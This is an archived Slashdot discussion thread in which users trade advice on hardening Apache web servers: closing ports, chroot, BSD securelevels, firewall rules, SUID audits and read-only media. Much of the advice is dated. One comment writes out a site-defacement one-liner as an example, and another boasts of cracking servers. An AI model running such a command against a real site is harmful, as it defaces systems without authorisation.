Slashdot Mirror
Ask Slashdot: Securing Web Servers Against Cracking
Bryan Andersen asks: "I'm looking for information
on securing web servers against hacking. In particular,
I'm interested in securing
Apache on Debian Linux
and OpenBSD,
but discussion on other server/OS combinations are welcome.
Links to sites with good information would be greatly
appreciated."
He used the correct terminoloy. He wanted to know how to make his computer 'hack proof'. Crackers are white people anyhow. Or they can remove the time limit on shareware programs.
Site seems to be down
I'm a junior asmin of a Corp running an AS/400 midrange. Were on OS/400 V4R4, etc. Right now we're using the HTTP Server for out internal Intranet (Along with all the other stuff like DNS, DHCP, POP&STMP), but we're planning on opening it up to the internet soon. There is practially nothing on the web about bug, exploits, bug and what have you. Anyone have experience securing OS/400 for the internet?
Additionaly to read-only mounting you can try to use chroot enviroment. A little bit hard to setup, but then you web daemon never will have an access to real passwd file.
:)
Just 'man chroot'
Why disable inetd?
Maybe I just like watching flamewars, but if you're going to suggest against Linux 2.0, I'd also include that [Free,Net,Open]BSD might be an even *better* choice. This is just my personal opinion. I wouldn't trust a Linux machine for squat.
People may not like it, but thats the meaning most people are used to now, and you can keep repeating that it isn't right, but that won't make people switch.
For me, those words have been a natural part of my vocabulary since I was a child, and I won't change the way I use them just because a bunch of purists here insists that it's wrong.
whatever
That's all good and well, but people have to start accepting the fact that the mainstream media has embraced the word hacker as a term for malicious hackers, ie crackers. While some of us believe that this distinction is an important one to make, there is a point when we have to accept that we don't get to define words as we see fit. We can complain about how people misuse the term hacker, but the reality is that most people associate the term hacker with what we (as in nerds) think of as crackers. While we can claim that our culture (or its predecessors) originally gave birth to these words, it is silly to insist that their meanings cannot change. Most people probably couldn't define the word cracker, but I bet that a lot of those same people would come up with a good definition for it if you asked them to define hacker.
so get used to it.
joe
The only port that should be open to anyone should be 80
This should actually say the following:
"The only port that should be open to everyone should be 80"
I dont use MD5 for longer passwords.. I dont use it because crackers dont support it (most do!).. I use it because it's slower!.
On this 270MHz Ultrasparc based e450 here, John the Ripper can test ~2million old style unix passwords per second on a single CPU. MD5 is nowhere close..
Sure, if an attacker gets you're shadow, you're screwed.. But you can at least slow them down. (most script kiddies will just pass you by at that point for an easier target).
An a flash disk will help you HOW? Flash is writable, you know...
But the crux of the problem is that for the general public, the crackers are described as being good/cool. Look at the group of geeks in the X-Files: at least half of the time they are cracking. They should be informed that cracking isn't good, and doesn't require to be any perticular intelligence ; while informing them, we could as well tell them that a distinction could be made between crackers (intruders) and hackers ; this is two closely related problems.
I don't see what is the point of respecting of the ethics of assholes.
There is some confusion over the fact of ssh and rootshell's hack, if you read rootshell's website, i believe they state that ssh was not exploited.
What, are the Internet police going to come knocking down my door? ICMP and UDP are both bad news and should not be let through a firewall. There's no reason people outside of your organization need to ping or traceroute to hosts inside your firewall. ICMP acts as a very nice transport for Loki.
You got me, but wait for next time...????
Hang Kevin!
Just wondering : beside the fact that good security should help you sleep better, is it worth being proactive in attack detection ? For example, using port scanner detector, automated information gathering on suspect activity and use of iron box (faked exploit that are meant to have cracker loose some time while you are gathering information on his attack), etc.
How should a sysadmin react to an attack attempt from outside ? Contact the admin of the network from where the attack is coming from ? the police ? What kind of reaction could you expect from those autority ? In my opinion, their is'nt much you could do against a proficient, determined cracker, but it could give the kick-in-butt the 14 years old H4x0r wannabee need.
About iron box, what are their worthiness ? Is they're a pre-packaged one an admin could use ? Are they widely used ? Any pointer to information on the topic ?
Thanks, and sorry for my poor english : it is not my first language.
Solaris 7 (nee 2.7)?
That suggestion is about as useful as a chocolate fireguard.
ok heres how it was before all you youngins had pc's.
:)
Cracker, person that took out the protection on a game, took out the lines of code that asked for a code from the manual etc.
Hacker, person that gets access to remote machine.
and does whatever, looks around trashes the whole thing it doesn't matter.
simple
two totally different things.
Peace
I don't know what other people think of it but the BRICKHouse web server seems quite an interesting approach. It uses a modified Linux kernel basing security on process running as opposed to user running the process. Exactly what this means (ie the implications of this) is not exactly clear to me. Does not appear to be open source however. You can however telnet into their web server as root which shows confidence anyway.
See http://www.thirdpig.com
I would be interested to know what other people know or think of this.
Security page of Gary's Encyclopedia
Hmm... which ones ?
The idea of using VMware is having a server which is in fact deconnected from your local network but still running on your very own machine. Plus to "reinstall" a whole unaltered system just by clicking on one button. How do you break the security in this case ?
KISS is still the best way.
KISS means removing everything not absolutly required in your server and making it out of reach of your developement machine (i.e. separated by firewall). This is less convenient.
Hmm... I didn't know that there was a means for the kernel to forbid "chattr". But I'm sure this is far enough ; you can do everything you want if you are root, by peeking/poking in /dev/mem, or /dev/hda (or maybe even /proc/kcore).
Don't just filter ALL of icmp. Filter by icmp-type. You are right in saying nobody needs to traceroute through your firewall, but since you suggest blocking icmp altogether you probably never suffered from the strange effects a nonworking MTU-discovery can have - SOMEWHERE ALONG THE WAY OF THE PACKET.
The ipchains-Howto (on rustcorp.com) has a nice writeup on this topic.
Servers that block "needs-fragment"-messages should be considered just as bad as mailhosts that bounce mail adressed to postmaster. Think about it - this whole thing can only work when you stick to standards, there is absolutely no alternative.
security gain == 0.
This is "security by obscurity" at best, which is no security at all.
"Hiding" the services is no alternative for replacing telnet and ftp with ssh and scp. Important Webaccess should use ssl. You get the idea.
A lot of posts have been pushing the use of ssh. I have used ssh and liked it on past projects. However, my understanding is that ssh costs $$$ unless you fall under a very strict "non-commercial/educational use" license. The cost is per server. I run multiple linux/unix boxes for a small company that can't afford to pay US $500 per box.
Any suggestions for alternatives (S/Key/OPIE, Kerberos, etc)?
Thanks
lighten up; he's distributing a book
postscript files for books are common; pdf's not all so different
convert it to ASCII or HMTL format if you feel so inclined
I know this will get bad score, but...
BWA-HA-HA-HA-HA-HA!
That was a good one...
AC
Crackers, just as every other online community, have their own CoE, and just like in real life, they can choose to abide by it, or they can ignore it.
Well the problem is that I personally don't care about their mythology, rituals, dreams and little fantasies. A moron is a moron is a moron.
If a bunch of people was specialising in insulting people in the street but had a "Code of Ethics" ("don't insult an elder woman, or a children"), I couldn't care less. Same for crackers.
Personally, if my system gets cracked, and nothing gets destroyed (I don't lose anything valuable, or that can't be fixed in a few minutes), then I'll just do what the Great AC above says to do.
You do what you want. If you have an affinity for them, or if you want to encourage them, ok do so. But I certainly won't.
Malicious cracking is the problem, not finding your security holes for you.
1) I don't ask for finding security holes, 2) if I really want to secure my system I do it right (separate machine, behind a firewall, with chroot-ed enviroment and report of every action/process executed to another machine via network - yes I do patch the kernel to do that), and then I test it 3) Almost all the security holes crackers can find are just exploit of bugs in the programs, and I don't need them to get the addresses of cert.org, bugtraq, debian.org, linux-security. Note that when I secure a system, there are still holes ; it's just that they won't find it, because it requires an careful audit to do so.
I don't need no cretin to launch the 50th attack on imapd or ftpd using know bugs.If they were able to find bugs in programs themselves, then they would be interesting, but they should test that on their machines, and report problems as bugs to the appropriate authorities.
I've set up some scripts that will make a bootable
CD that runs Debian off a CD.
http://www.ocslink.com/~blunier/
Mark Blunier
I thought that converting postscript files and PDF files to HTML was impossible...
Okay, this is the first I have heard of ICMP. (I guess I don't know as much about TCP/IP as I thought!) So if I setup a stand alone server that is not meant to be a firewall for my network, just a web server. Is there a risk with not denying ICMP in this situation? Is all this ICMP stuff if you have a dual homed system?
Enquring minds want to know!
Also, aside from the fact that a packet sniffer could be used... is there any known security holes with telnetd? If no-one logs into it (to give away passwords) can it still be breached? I was thinking of keeping it around till I get comfortable with sshd.
Thanks for the info!
wanker
Is there a GNU version of ncheck?
something I remember from the days of version 7 unix... it had something to do with checking inodes. There was a command line switch (I think it was -s) to look for setuid files.
Isn't passwords... SSL... all of this just obscurity anyway? I mean the only difference really is that it is much harder to guess these others forms... but philosophically isn't it just the same? Guessing the port ins't too hard... there are only 2^16(?) possibilities. Guessing a password is harder ... there are many more... guessing an RSA key harder yet... but still obscurity. yes?
Amateur radio operators love to use their SoundBlasters to mo/dem data without use of real hardware. They connect their radio's Push To Talk button to the parallel port and voila, instant packet connectivity.
Therefore, leaving just your specified cables connected DOES present a security risk. If you accidentally loaded the drivers for it, someone could walk up to your machine and play a tape of an attack, which might be able to compromise your security through the microphone. Ha.
(I saw a comic years ago depicting a future office when everyone's using speech recognition. Some kid walks in, screams "FORMAT C! YES! ENTER!" at the top of his lungs, and walks out.)
Is making an IDE disk read-only really as simple as cutting line 23 somewhere along the ribbon cable?
Oh, come on. What is hunting? Sport fishing? Why are deer and such called "game"?
Do hunted animals choose to participate in the game that leads to their death?
Note- I'm not really anti-hunting, altho I've never shot anything in my life. I just think you're full of crap.
Run Linux 2.0.36. Don't run Linux 2.2 (c.f. DOS attack and filesystem corruption in 2.2.4and5)
Too bad its a PDF.
I quickly browsed the comments and haven't found anything about this:
Kernel security levels and file flags:
File immutable and append only flags (chflags(1)) in combination with kernel security levels add quite a bit of additional security in case a hacker gained root access.
All *BSD* offer this, I think Linux nowaday as well, but I'm more of a BSD guy so I'm not sure. The second edition of the "holy bible of security" (Garfinkel & Spafford's wonderfull "Practical UNIX & Internet Security") says only FreeBSD, NetBSD and BSDI, but mine was printed 1996, thinks probably have changed since then.
In case you don't know: If the kernel runs in security levels >0 even root can't change an object that's flagged "immutable". I guess, you can imagine what "append-only" means, it's usefull for logfiles.
Managing a system using security levels is a little more complicated since you have to reboot it to single user mode from time to time. So if you need zero downtime you need two boxes.
chroot:
chrooting is well known and a must for ftp. So why not use it for web as well? You don't gain that much but it's an easy step. (The chrooted jails are not hyper secure, but surly make cracker's life harder)
1) remove any "test" "config" etc cgi
2) close all port you dont use/need
3) under OpenBSD use IPFilter (look in FAQ)
it is heavily used for firewall and can run
on the same server + more
4) apache comes secure pre-configured in OpenBSD
(and installed by default of course)
5) do syslog to another computer too for
acces/validation etc
(jut in case)
A lot of folks on this forum will scoff, but if security is a prime concern, MacOS and WebStar is actually a pretty good combination. There was a contest in Sweden about two years ago that invited all comers to crack a Mac web server (denial of service didn't count, you had to change the default page). The prize was quite a few Kroners (sp?) -- the equivalent of a couple of grand $US -- and the server was set up with the default settings (no security guru came in to tweak it).
The first contest ran for a couple of months with no one claiming the prize. A few weeks into the second round someone finally cracked it through a WebStar plugin. They don't run the contest anymore, but you can check get some info at:
http://hacke.infinit.se/docs/rules.html
Of course, there are a few basic criticisms that every Linux user will point out:
1) Macs are slow web servers -- basically true, unless you go the MacOS X Server/Apache route (but then you're just back to UNIX). But what exact loads do you need to support? A web server is just a delivery truck for pages -- what size truck do you need? Are your needs tractor-trailer sized or panel-van sized? Additionally, the Mac web server takes a lot less effort to set up. Depending on your technical expertise, the Mac may be less hassle for you (if the recommendation "just recompile the kernel" doesn't make you shudder, then this probably doesn't apply to you).
2) MacOS is unstable -- *not* true. The MacOS admittedly lacks memory protection, but the OS itself is plenty stable. This is a subtle but important distinction. My Mac ran for five months as a web/database/fileserver and router with no problems. The only reason I rebooted was that I upgraded the OS to 8.6, and it has run fine since. Plenty of Mac web servers have uptimes of months or even years -- but if you do have a misbehaving app or extension you'll probably know within a week. Otherwise, it will chug merrily along.
3) Macs don't multitask well -- kind of related to (1). Since the Mac uses cooperative multitasking, it's better off being just a server and not a server/personal workstation (response gets a little sluggish). May or may not be a factor in a given installation.
Again, with enough expertise and advice (like above) you can make Linux/Apache plenty secure, but it never hurts to know all the options.
Totally agree. Most things happen to the OS. i.e. the rootshell hack a while back was said to be done with just a simple sniffer and grabbed the login & passwd via not using ssh. Like most people who have suggested stuff, I would locked down the OS as much as possible. Use an independent machine that is just running ssh, httpd, and sendmail if you need email but make sure it is current and watch your relays. Use /etc/host.deny/allow, shutdown ftp to none or only appropriate users. Make sure you keep up on security updates from rootshell, OpenBSD, etc.
/etc/host.deny, and screws their ip route up if they ever got access to the machine.
If your really paranoid, rotate your logs more frequently and run cron to place the old log files in different directories/servers. Its not full proof but at least it makes the hacker make a couple of more steps to to try and cover his/her tracks. Make sure you know what daemons your running, the timestamp, and filesize. I have seen many hackers go into a server and replace a daemon with the same name but instead its a trojan . The person never knows what hit him until it is too late.
I also use a monitoring software that looks at UDP and TCP transmissions. It is called Sentry by Abacus. It is pretty cool because if someone is scanning your ports, Sentry logs the IP down what port they tried to scan, automatically puts them into
An of course whatever anyone else has to say. I hope this helps.
I would like you to meet my cousin who cracks into houses. He too feels the same way. But for some strange reason people cannot seem to take a joke. They are always upset with people who break into houses and take things away. In fact, my cousin was once arrested and sentenced to five years. I hope people can learn some lessons from the online world and learn to take things a little more easy. After reading you inspirational post my cousin is thinkink of creating a code of conduct when people's homes or wallets are stolen. May be you could help him out with this. Of course I dont have any experience with this but what about the city authorities have a graffiti wall where people can go and write about thier losses. This way the home crackers too will know all about cracks in the city and this way people can send a message that says "you got me.. but wait for next round"
Basically you would install a FreeBSD/Linux distribution in your VM, which would be used as the server.
With your host Linux machine, you'll use masquerade/ipchains or bridging so that your virtual machine would never be able to send or receive a single packet on your ethernet network, except going to your router. You'll also arrange that the communication between your host and your guest OS is only done with TCP/IP in the direction host -> guest.
That way the external machines should be relatively safe from crackers. Once your installation is done, you'll just copy the image (or the HD partition) each time you boot the VM. If it is compromised, you just have to copy again and reboot the VM.
Now the problem is to access/put data in your VM ; there are several solution:
- Using VMWare on a standalone partition. Basically you have a raw partition image in a file on your Linux host machine, that you mount with loopback, and can change freely. When you're done with your changes you just do a 'cat mypartition.ext2 >
/dev/hda4' and run VMWare on /dev/hda4. When you want to access log files you stop the VM and then either copy /dev/hda4 for archival purpose or mount it and retrieve log files for instance, before erasing it the next time. You can have twice the same partition so that you could run VMware, say either on /dev/hda3, /dev/hda4 while you're examining or copying the other partition (you rotate partitions). - Mounting your guest OS partition in your Linux host. That way you'd be able to change files from your Linux OS. The problem might be that the cracked guest can try to exploit actively bugs in the NFS/samba client of your guest OS, by sending him crap (that's why mounting the partition of a stopped guest OS is more secure ; although you'd need to force an e2fsck first). You must be careful to never execute programs on your guest mounted partition though.
- You can write scripts that wait on some TCP/IP port of your guest, for your host OS (alone) to send a tar archive that they would extract. A similar protocol could be used to retrieve files (or with a networked backup software running in your guest).
Note that the major advantage of VMware, compared to buying another box, is that even if your machine is compromised, it won't be able to snoop your Ethernet (if your host is properly configured), which is a bad bad thing. The equivalent alternative to VMware is to run a standalone machine alone on its own ethernet segment, and to arrange to have a boot disk that transferate the whole system from another machine. And even then you'd need to be careful that your machine won't be able to crack your router at the other end of the ethernet segement.Also the ability to run to several VMs on copies of the same partition/image or different images, is the source of a number of fun tricks.
The nice thing about VMware is that once you have set a distribution you are able to copy it everywhere. As crackers don't seem to grow up and as security models of most used systems are staying poor (Unix/Windows), I expect some commercial plug-and-play products "webserver in a virtual machine" to appear for servers that are expected to have a low load.
Sure, almost all criminal activities have perpetrators who try to rationalize their behavior as being "just a game". If their victims don't see it that way, well, that's just more evidence of how much the victims deserved whatever they got, right? In fact, all forms of hostile behavior have people who use this excuse. "Hey, I was just having a little fun..." is pretty much the motto of the predatory, antisocial loser.
An actual game, for those who lack the requisite social skills to figure it out, is something that all participants choose to participate in, voluntarily, for their own (and perhaps others') entertainment. There are no involuntary participants in a game.
If you have the brainpower for cracking, then why don't you ponder that concept until you comprehend it?
BSD kernel has a notion of securelevel. While some argue that it is not as perfect as it could be, it will do the job
/dev/mem, and
/dev/kmem may not be opened for writing.
/etc/rc, using sysctl(8).
/dev/mem and /dev/kmem for writing, and securelevel of 1 prevents doing so. One way around this is to set
most of the time to stop your average "script kiddiez". Securelevel is simply the level with which your kernel runs -
each level implementing different protections and checks. This description is taken from the init(8) man page:
The kernel runs with four different levels of security. Any superuser
process can raise the security level, but only init can lower it. The
security levels are:
-1 Permanently insecure mode - always run the system in level 0 mode.
0 Insecure mode - immutable and append-only flags may be turned off.
All devices may be read or written subject to their permissions.
1 Secure mode - the system immutable and system append-only flags may
not be turned off; disks for mounted filesystems,
2 Highly secure mode - same as secure mode, plus disks may not be
opened for writing (except by mount(2)) whether mounted or not.
This level precludes tampering with filesystems by unmounting them,
but also inhibits running newfs(8) while the system is multi-user.
If the security level is initially -1, then init leaves it unchanged.
Otherwise, init arranges to run the system in level 0 mode while single
user and in level 1 mode while multiuser. If level 2 mode is desired
while running multiuser, it can be set while single user, e.g., in the
startup script
For example, if all your system does is web serving, you can safely set your securelevel to 2. However, if you are
running an X server, setting your securelevel to 1 or higher will give you problems because X server needs to
open
your securelevel after you start your X server, but IMHO if you are running X server you already have other
security issues to worry about then kernel securelevel.
- from http://www.freebsd.org/~jkb/howto.html
the LASG is available here, a free 150+ page document on securing Linux.
-Kurt Seifried
Many SCSI hard drives have a write protect jumper. This will have the same effect as a CD, but be a lot less obvious to the potential cracker, especially to one who isn't top notch in the clue department.
'course, who knows what sort of undocumented SCSI mode changes can be done to your average modern drive. There might be a back door to re-enable writes.
At the end of the day, of course, everything you do is just one more hurdle and makes it that much less likely you get broken into; you cannot make a system perfectly secure without pulling all the plugs (and maybe that won't even be enough).
Also put the Deception Tool Kit on an old machine, preferably in a DMZ, and let the script kiddies think you're running a single machine and that it behaves differently than it really does. They have time to waste, so let them waste more time.
I will personally come to your house and cut your damn head off if you DENY all ICMP or ever tell anyone else to do the same!
Denying all ICMP breaks path MTU discovery and will cause weird random TCP behavior across the internet. Read the FAQs.
Use a modern os that uses packages (Redhat/Debian)
Be on switched ethernet
Unplug from network
Install OS but with only needed packages.
Turn off all services.
Use MD5 shadowed passwords.
Get stackguard.
Compile all CGI's & SSH & Apache w/ stackguard.
Get a recent kernel and Solar Designers no-stack patch.
Configure no root logon (even in ssh).
Configure SSH to deny by default
Config SSH to only accept connected from good places.
Start SSH and Apache services
ipchain default deny all incoming
ipchain allow ICMP
ipchain allow incoming on port 80
ipchain allow incoming on ssh
ipchain deny outgoing w/ low source if possible (check proc for the lowest auto port (dont have linux handy))
Remove all system utils you are sure you dont need, use find to scan for SUID files and remove all SUID you do not HAVE to have (even things like ping and such).
Go through the system and remove write permission from most files (anything you can).
Set the ext2 immutible flag on system and other static files.
Setup remote syslogging to a box with nothing more then console access (little 386 or sumpting).
Install tripwire (with cron to check and all, set to email and page)
Backup frequently.
Pray to approiate 'force'.
Plug into network.
Subscribe to cert/bugtrack/etc.
Install security updates for everything you have installed, when they come out.
Use SCP to upload content.
If comprimised nuke it, get content (no scripts or bins!) from backup. Goto step 1 and try harder..
I have cracked/hacked many a web server. Most if not all allowed us to exploit poorly configured mahines or applications. A good admin will beat us everytime.. but most places wont pay for a good admin. The hardest computers to crack are the ones limited to the least ammount of accesss they allow. So.. if you dont use it..dont run it. IE if your not using a ftp server why allow ftp access? why not turn off the deamon.. then sshd to move files. Its secure.. and will close all the hundreds of ftpd exploits. Now some would say that a good firewall rule will solve this.. but as I have beaten many a fire wall why not just shut down the stuff your not going to need. This applies to just about every deamon you can think of.. if you dont need it, kill it. Now after that some good firewall rules wont hurt. If this is only going to be a web server then I would only allow your web server port.. firewall with a seperate machine.. then only run your webdeamon. If you need other access allow other machines to do that for you.. your web sever is the big juicy target. Owning a ftp server is all nice and good but If i dont need the space / bandwidth then I really wont bother. Warez kiddies wont even bother to own a system so many ftp server allow anon access that its just funny.. why waste the time on something you can get for free. Really the kernel or OS that you use doesnt really matter.. its how well you configure it.. Its no harder to root/crack a Misconfigured OpenBSD/debian/Irix/winNT/or any other OS. You will see attempts.. but with good backups you should be off line for only a few hours. If you do get hacked make sure that you follow the code of ethics.. most hackers/crackers wont destroy more than they need to get their message up.. So for not killing your file system you should give copies of all the hacked files to 2600.com so that they can mirror it. They will get it anyways but its like saying " you got me.. but wait for next round"
That's nice and all, but if the general public started refering to arsonists as "firemen" don't you think the fire fighters would be a little upset about this? Lots of people in the general public also refer to hard disk space as "memory". Just because the general public says one thing doesn't mean that we have to accept it.
Knowing the difference between "Hacker" and "Cracker" is a sign of knowladge... Othewise you simply come across as some script kiddie.
More when I get to work...
---
find / -perm +4000
---
Kha0s Linux is an attempt to create a VERY secure version of Linux. Currently it is in development. Look around. . .
---
find / -perm -04000 -print
Or if you're only interested in suid root programs:
find / -perm -04000 -user root -print
This will include directories and non-executable files, which may not be a bad thing.
Bill - aka taniwha
--
Leave others their otherness. -- Aratak
That aside, I would suggest that you run only the services on your system that are absolutely necessary for your application.
Reminds me of an article I read somewhere that said Macs made the best web servers. The reasoning was that since they had practically no functionality as servers, it would be hard to exploit them. Not putting down Macs (never used one), just thought it was funny at the time and this reminded me of it.
Cracking contests prove little. For a start they are usually rigged heavily in favour of the vendor, probably use closed systems and they generally target the wrong threat group.
The last point bears expanding: When you offer $10k to "crack a webserver" you are attracting amateurs. The people who you should be really worried about have a vested interest in your continuing belief that a system is secure, this belief can be worth far more that a one-off payment of $10k.
An excellent treatment of this topic can be found in Uber-cryptographer Bruce Schneier's excellent Cryptogram newsletter.
Well, for starters, don't run Linux 2.2.x or Windows NT. Both are really buggy, and you probably don't want filesystem corruption or a bunch of gaping wide holes in your kernel. OpenBSD, Linux 2.0.36, VMS, or the latest version of Solaris are all good choices.
10 PRINT CHR$(205.5+RND(1)); : GOTO 10
Posted by d106ene5:
The only port that anyone can connect to should be 80.
How do you suggest we upload files onto the machine? Log into it?
You need to keep port 22 open for ssh.
Posted by Brendan Byrd/SineSwiper:
If you are a web hosting service and you don't use suEXEC, you are an idiot! Now, if you haven't heard about it before, that's fine. But, if you are reading this message and you haven't already read through the Apache info on it and drawn up a battle plan to implement it, you should shut down your web hosting service and leave it to the pros.
For one, I'm sick and tired of getting e-mails about directories that get created by my Perl scripts and they have an owner of nobody because some dumbass forgot to setup suEXEC on their hosting service.
Believe me...it's not hard to do. I'll write a FAQ/HOWTO on it some day.
--
Brendan Byrd AKA SineSwiper
Computer techie, PERL master, and all-purpose Internet guru
Posted by d106ene5:
So keep them closed unless absolutely necessary.
Port 80 - http
Port 22 - ssh
Of course there is more to it than this - secure CGI, for example... but at a base minimum you should seal off ports.
openBSD seems good. havent tried it yet.
also, if your web serving needs are simple,
use tinyhttpd. less hassel, and less load.
if you do use linux, i also find 2.0.36 to work
better than 2.2.x for such things.
Please - don't think I'm advocating security by obscurity as that isn't my intent at all. I just think that anyone attacking one of my servers should have to do a little more than download the latest exploit script. Even a simple file path/name modification is beyond an amazing number of script monkeys.
In the latter Apple][ days (When the PC was soon to be available), a hacker was someone who could (amongst other things) create a patch to change a game or remove the protection on it (and often found it more fun than playing the game), and a cracker was someone who applied those patches (following excruciatingly detailed instructions) in order to get free games (or sell copies to others) and proclaimed his/her own greatness for doing it.
In other words, what we once called crackers are now script kiddies, and what was once a hacker who broke into systems (particularly if they alter the system once in) is now a cracker.
I'm always amused by this name, since none of them have done a days work in their lives. They're the party of parasites, who live off the effort of the workers.
If you're using tripwire correctly, you should be able to restore from backup without worrying about rogue binaries & scripts. One of the reasons for doing full system backups is to get the system "BACK UP" with very little down time. Reinstalling your binaries & scripts can take a long time. Of course, if you're using FreeBSD, it's easy to keep track of previously installed ports and reinstall them from source in a matter of hours. If you're using Linux (not my forte) I guess you could reinstall bins from SRPMs and the such. Don't forget that some people admin machines that are thousands of miles away. Popping the CD back in and reinstalling isn't usually an option.
Start with the basics: remove any modules you are NOT using. Be careful with your CGI useage. Make sure they don't get executed anywhere any user can write to.
:-)
Use ipchains to deny incoming packets that come in from outside interfaces with local network IPs. That includes denying traffic from your IP when it comes in from eth0. Block all the "private" ips (10.0.0.0/8, 192.168.0.0/16, etc.) which are coming in on outside IPs. That will stop most spoofs which rely on your system trusting itself dead in their tracks.
I run my little knowledgebase at mixdown.org and while the knowledgebase itself is not secure (anyone can read, write and edit articles), I feel the underlying system is quite secure. When I get the database stuff more functional, I'll tighten up access.
I'd appreciate anyone who finds holes to mail me. Also, if you want to screw around with the database a little, go ahead.
Andrew
Use shadow passwords. That way, a malicious web writer can't grab the encrypted passwords and try to break them. It's easy: "pwconv" is the (only) command to run if your system is relatively modern (this may be somewhat specific to the Linux implementation of the shadow password system?).
If you need to protect the users from each other, you might consider:
Some general purpose Linux/unix related security links:
Finally: Keep your system up-to-date with the latest official patches. Consider joining the BugTraq mailing list.
Now, I'm not a GNU/Linux vs. Linux zealot, though I do think that recognition of the standard-bearer of free software ideals is warranted when it comes to Linux.
That said, when someone, like Debian, chooses the GNU/Linux name over just plain Linux, I think that choice should be respected.
In Liberty, Rene
If you don't want a site hacked, *period*, I suggest you consider a CD-R based server. Let all development occur on, well, development machines, burn a copy of the static site, and have the dynamic material imported in from a backend database.
Lets see how easy it is to hack a server where not even *root* can modify the configuration files.
I'm still waiting for an entire Linux distribution I can boot off a CD-ROM using either a floppy drive or a web site to cache settings. It'll be significantly easier to deal with these CD Lockboxes once the various kernel configs for a semi slow medium serving mechanism are developed.
There will be a few issues with switchovers under a CD-ROM system, incidentally. Updates are no longer a matter of FTPing; it's more along the lines of using Fake(beautiful app) to have two identical servers doing failover for eachother.
Fairness dictates I remind the reader that, no, this isn't 100% effective--a remote root compromiser might still be able to link into the running(but binary non-modifiable) process and somehow redirect some pointer mechanisms to manipulate what files are distributed on the website, but that's orders of magnitude more difficult than echo "THIS SITE SUX" > index.html .
Keep in mind, if you have a backend writable database it's going to be the next target. Intrusion detection on high, keptain.
Email me or visit my site if you want to discuss all this stuff further. If you have experience with ARP/ICMP spoofing attacks, I need you to read something I'm in the process of putting together. Ahhhhh yes, I'm geeking out on security as of late. (Can you tell?)
Yours Truly,
Dan Kaminsky
DoxPara Research
http://doxpara.netpedia.net
Once you pull the pin, Mr. Grenade is no longer your friend.
compile and run ssl
dont run services u dont need
seek and research all setUID programs
read lots and lots of documentation
got these from a unix admin site...just rabbiting them off my palm, memo-list, hack
peterrenshaw ~ Another Scrappy Startup
not that i can find but a quick look at here and search for 'unix'.
:)
:)
or u could read and digest this forum and extract the best bits, create a checklist yrself from this forum and post it
pilots are vc
peterrenshaw ~ Another Scrappy Startup
It's also a ready slur for ignorant white people.
:o>
Of course, if the shoe fits...
J.
damned vulpine http://sb.drtwister.com/
The poster is right about ICMP, with regards to the RPF's. Dire warnings aside, a lot of people deny ICMP and work just fine.
A better solution is to program your choke router (that's ther router between your server(s) and the Internet) to block ICMP from passing into your network. The router can answer ICMP queries like MTU size, without exposing your server farm to cracker sniffing with ICMP.
You can also get fancy and deny specific ICMP. For example ICMP echo is not necessary, and ICMP netmask discovery gives out information you may not want to share. Neither of these steps break any legitimate network operations.
well, take a look al /etc/inetd.conf. you can see there things like telnet, ftp, ..., echo, chargen, imap, ...
if you are running web server you do not want this stuff so you disable it. and if you disable it, then inetd is running but doing nothing. so you disable inetd too.
hany
StackGuardk Guard
StackGuard is a compiler approach for defending programs and systems against "stack smashing" attacks. Stack smashing attacks are the most common form of security vulnerability. Programs that have been compiled with StackGuard are largely immune to stack smashing attack. Protection requires no source code changes at all. When a vulnerability is exploited, StackGuard detects the attack in progress, raises an intrusion alert, and halts the victim program.
http://www.cse.ogi.edu/DISC/projects/immunix/Stac
San Disk + IDE
An interface board has been developed which allows a CompactFlashTM card to be used as a boot device on a PC. It takes advantage of a feature of the CompactFlashTM Card that allows it to emulate an IDE hard disk drive.
http://www.tapr.org/tapr/html/Fcfa.html
Virtual-Services-HOWTO
Every network connection is made up of two IP address/port pairs. The API (Applications Program Interface) for network programming is called the Sockets API. The socket acts like an open file and by reading/writing to it you can send data over a network connection. There is a function call getsockname that will return the IP address of the local socket. Virtuald uses getsockname to determine which IP on the local machine is being accessed. Virtuald reads a config file to retrieve the directory associated with that IP. It will chroot to that directory and hand the connection off to the service. Chroot resets / or the root directory to a new point so everything higher in the directory tree is cut off from the running program. Therefore, each IP address gets their own virtual filesystem. To the network program this is transparent and the program will behave like nothing happened. Virtuald in conjunction with a program like inetd can then be used to virtualize any service.
Personal note: using virtual services allows to separate users from *real* system accounts that maybe they will never use, so you don't have to care about dictionary attacks against root or another attacks that willcompromise all the system.
And...
If you use ssh, firewall support, external logs (using the serial port and an old computer), keep all important data (electronic commerce transactions, a user database, etc.) on a different computer using SSL and if you use the last, stable and secure version of your favorite applications, you will have a very robust and secure system.
Are you sure you want to protect apache? It would make more sense to protect the OS apache runs on. In which case lists/sites like buqtrack, l0pht, rootshell, etc. spring to mind.
They don't actually crack apache but gain access by some means to the site it is running on just so they can leave funny looking grafity all over it.
Also I gather that OpenBSD claims to be one of the more secure OS's out there.
How do you get the list of all programs that are setUID (root)? I know what it means, but the only one I know of is passwd.
I don't know if this would suit your purpose, but Slackware has a bootable CD distribution. I think it does require some drive space, but the bulk is on the CD. Steve
Why not just set the disk to "Read only"? Most decent (SCSI) drives have a jumper that allows you to make the disk "Read only" in hardware, which will give you *nearly* the same security as a CDROM. You could write the jumper up to an external switch, or even a relay controlled by some other (appropriately protected) machine.
All your ghosts are just false positives.
It's clearly important to secure your box ...
shut down as many services as possible, prefer ssh over telnet/ftp, is possible get users to
pop/imap over an ssl tunnel, etc...
But sometimes it just can't be helped, a cracker's
going to get into your site. Through an os
exploit, or a webserver exploit, or through some
cgi/dynamic page goof. A really good thing to
do in this case is to run your webservers in a
chrooted environment, which helps a good deal
should someone get in. They'll find themselves
locked into a small area - the worst they can do
is corrupt your web server data. They won't be
able to get to your actual os.
something good to do.
Regardless, one would be best off using FreeBSD; it has far fewer exploits than the slashdot-preferred Linux.
Multiple layers of security is best for any machine; redundancy is the absolute key for security. You don't just have one level of restrictions which could be possibly exploited or tricked. For example, for ssh, restrict hosts in the sshd_config file, and compile in libwrap support, and use ipfw. By those actions alone, ssh is amazingly more secure.
In terms of web-specific stuff, make sure to closely look over your httpd.conf to see what is available to your users. You should also make an educated decision about if you want to allow CGIs.
Overall: Stay up to date with software versions.
--
Daniel Baker - dbaker@cuckoo.com - dbaker@distributed.net
I've read that to make a web site REALLY secure,
you should chroot your webdir, kind of like you do with anonymous FTP.
Is there any truth to this? I just think it would be a big pain in the ass to copy over all of those perl directories and libraries... eek.
-- If you met me, you probably wouldn't remember me. I'm pretty hard to remember.
